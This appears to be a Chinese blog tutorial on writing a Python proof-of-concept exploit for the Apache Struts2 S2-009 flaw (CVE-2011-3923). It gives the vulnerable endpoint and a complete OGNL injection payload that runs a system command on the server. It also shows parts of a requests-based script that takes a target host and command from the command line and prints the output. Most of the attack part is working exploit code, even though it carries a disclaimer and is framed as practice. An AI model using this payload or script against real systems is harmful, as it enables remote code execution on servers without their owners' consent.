浅学安全开发python POC/EXP编写(s2-009)

浅学安全开发python POC/EXP编写,通过(s2-009)练手

未经授权请勿利用文章中的技术 资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果 和损失,均由使用者本人负责。

完整代码:poc/s2-009.py at main · san1one/poc · GitHub

struts-s2-009 代码执行 (CVE-2011-3923)

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

漏洞触发地址

/ajax/example5.action

payload

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

 我们主要通过python requests模块,模拟http请求,先加载requests,os,sys模块,

通常会出现SSLError 请求异常,SSL错误,证书认证失败问题解决,我们将解决warning信息,

调用关闭警告信息

requests.packages.urllib3.disable_warnings()

定义我们的exp有参函数,通过requests模块get方法进行http请求及响应的接收,返回响应结果。

 res=requests.get("{}{}".format(host,payload))
  try:
    if res.status_code==200:
      print((res.content).replace(b'\x00',b''))
    else:
      print("[-] info: This link is not vulnerable.")
  except Exception as e:
    print("[-] info: This link is not vulnerable.")

主函数调用exp函数,获取运行python脚本文件的时候命令行参数

  if len(sys.argv) < 3:
    print('[+]  \033[36mfor example: https:127.0.0.1   whoami \033[0m')
  elif len(sys.argv) ==3:
    try:
      host=sys.argv[1]
      commod=sys.argv[2]
      exp_commod(host,commod)
    except Exception as e:

python s2-009.py  http:127.0.0.1 whoami

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值